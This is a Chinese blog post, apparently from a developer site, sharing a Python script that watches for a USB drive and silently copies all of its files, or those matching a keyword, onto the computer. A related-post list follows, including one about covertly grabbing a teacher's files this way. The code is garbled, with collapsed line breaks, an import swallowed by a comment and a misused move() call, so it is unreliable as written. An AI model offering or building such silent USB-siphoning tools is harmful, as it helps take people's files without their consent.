这两天闲来无事,找了个代码修改修改。

功能:
检测计算机中是否插入U盘,如果插入U盘则将对应的数据复制到计算机中。

代码:

# -*- coding: utf-8 -*-
# [url=home.php?mod=space&uid=238618]@Time[/url] :   2021/7/10
# [url=home.php?mod=space&uid=686208]@AuThor[/url] : 陈墨
# @Software: PyCharm
# @function: 读取U盘的数据from time import sleep
from shutil import copytree, copyfile, rmtree, move
import os
from psutil import disk_partitions
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)# 获取U盘的盘符
# disk_partitions() 打印一下他的返回值,就会完全清楚下面这个函数
def get_usb_dispart():for item in disk_partitions():if item.opts == "rw,removable": # 可读、可移动介质logger.info("发现USB:%s" % str(item))return item.devicelogger.info("没有发现USB")return None# 读取想要的文件  u盘所有文件或者文件名含有某个字段的文件及文件夹
# 1、文件夹含有该字段:复制文件夹;
# 2、文件含有字段,复制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):if select is None:# 无筛选规则,复制所有copytree(src, dst)logger.info("复制%s盘USB所有内容到%s" % (src, dst))else: # 复制部分paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹for item in paths:item = os.path.join(path, item)if select in item:if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容try:copytree(os.path.join(src, item), os.path.join(dst, item))except Exception as e:try:rmtree(os.path.join(dst, item))except:continuecopytree(os.path.join(src, item), os.path.join(dst, item))else:try:copyfile(os.path.join(src, item), os.path.join(dst, item))except Exception as e:os.makedirs(os.path.dirname(os.path.join(dst, item)))try:move(os.path.join(dst, item))except:continuecopyfile(os.path.join(src, item), os.path.join(dst, item))logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))else:if os.path.isdir(os.path.join(src, item)):get_useb_file(src, item, select, dst)if __name__ == "__main__":while True:path = get_usb_dispart()if path is not None:get_useb_file(src=path, select="测试", dst=r"F:\usb")breaksleep(1)

[Python] U盘检测并复制所需的文件相关推荐

  1. 后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)

    马上期末考试了,老师复习课讲得PPT是精简版的,老师说了之前上课的PPT可以给但是这个不可以,如果得到期末必过了.本想着把我这个自己花了3个多小时做的U盘助手在教室的电脑上运行着,下课我就可以得到PP ...

  2. Python+Tensorflow实现检测X光图像中的新冠!

    免责声明 本研究是为X光图像中COVID-19的自动检测而开发的,完全是为了教育目的.由于COVID-19没有经过专业或学术评估,最终的应用并不打算成为一个准确的用于诊断人类的COVID-19诊断系统 ...

  3. 使用Python和OpenCV检测图片上的条形码

    这篇博文的目的是应用计算机视觉和图像处理技术,展示一个条形码检测的基本实现.我所实现的算法本质上基于StackOverflow 上的这个问题,浏览代码之后,我提供了一些对原始算法的更新和改进. 首先需 ...

  4. python批量telnet检测IP地址的端口是否开放

    python批量telnet检测IP地址的端口是否开放 需求 代码 示例 需求 需要检查多个端口是否开放,没有找到第三方工具和服务来快速测通,就自己用python写了个脚本.原理是通过telnet来实 ...

  5. Python+Yolov5跌倒检测 摔倒检测 人物目标行为 人体特征识别

    Python+Yolov5跌倒检测 摔倒检测 人物目标行为 人体特征识别 如需安装运行环境或远程调试,见文章底部个人QQ名片,由专业技术人员远程协助! 前言 这篇博客针对<<Python+ ...

  6. u盘到计算机复制不了,为什么电脑程序从一个u盘复制到另一个u盘后就不能用

    为什么电脑程序从一个u盘复制到另一个u盘后就不能用以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 为什么电脑程序从一个u ...

  7. java程序u盘照片自动复制粘贴_U盘自动复制文件

    1.建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样. 2.把下面的代码复制进去 set fso=createobject("scripting.filesyst ...

  8. python图片识别是否p过_用 Python 和 OpenCV 检测图片上的条形码

    用 Python 和 OpenCV 检测图片上的的条形码 这篇博文的目的是应用计算机视觉和图像处理技术,展示一个条形码检测的基本实现.我所实现的算法本质上基于StackOverflow 上的这个问题, ...

  9. 使用OpenCV和Python进行对象检测和跟踪

    在此功能中,我将介绍使用OpenCV和Python代码设置对象检测和跟踪所需的功能.使用随附的代码片段,您可以轻松设置Raspberry Pi和网络摄像头,以便制作用于物体检测的便携式图像传感器. 本 ...

  10. 向U盘或移动硬盘复制文件出现文件或目录损坏且无法读取解决方法

    向U盘或移动硬盘复制文件出现文件或目录损坏且无法读取 U盘跟其他的机器一样,使用久了难免会出故障,比如常见的弹出一个文件或目录损坏且无法读取的对话框,吓你一跳,整个U盘都损坏的意思其实遇到这种情况一般 ...

最新文章

  1. python快速入门答案-总算懂得python脚本快速入门教程
  2. python爬虫流程-小白必看的Python爬虫流程
  3. Java Review - 使用Timer时需要注意的事情
  4. Spring AOP中定义切点(PointCut)和通知(Advice)
  5. Python logging使用
  6. 11函数的应用(函数名=变量)
  7. 美国域名总量跌至7971万:4月上旬降幅缩小32.4%
  8. 非抢占式优先算法例题_非抢占短作业优先算法源代码(C语言)
  9. 《Nmap渗透测试指南》—第7章7.8节后台打印机服务漏洞
  10. axios的用法详解
  11. python生成html表格
  12. 合肥宏晶微MS9334芯片特性/HDMI一分四开发板/HDMI分配器芯片/HDMI 1分4芯片
  13. php斗鱼弹幕接口,php实现斗鱼弹幕,一起来欣赏弹幕吧~
  14. OutMan——集合对象的内存管理、copy的介绍及使用
  15. Linux命令全称及目录结果
  16. 云服务器搭建个人站点-之-站点搭建
  17. 微信发位置提示服务器,微信发原图容易泄露位置信息?确实会泄露但也有简单的解决办法-...
  18. python绘制子图技巧——plt.subplot和plt.subplots、及坐标轴修改
  19. 基于javaagent-ByteBuddy监控方法执行耗时
  20. 一步一步学Silverlight 2系列(21):如何在Silverlight中调用JavaScriptjavascript

热门文章

  1. 使用结构方程模型需要知道的那些事(理论篇)
  2. linux物理接口数据结构,Linux Regulator Framework(1)_概述
  3. 领导力21法则-- 要点总结
  4. svchost.exe 占用网络资源
  5. 78岁老人爱上玩乐器硬是学会了吹奏萨克斯
  6. matlab中tdma源程序,40MF-TDMA系统中多用户多业务的无线接入控制和时隙分配算法MATLAB源代码...
  7. 内存错误分析工具----asan(AddressSanitizer)的介绍和使用
  8. 高等数学笔记-苏德矿-第十章-曲线积分和曲面积分-第七节-高斯公式与斯托克斯公式
  9. react之通俗易懂配置less
  10. 并行接口芯片8255与定时器/计数器接口芯片8253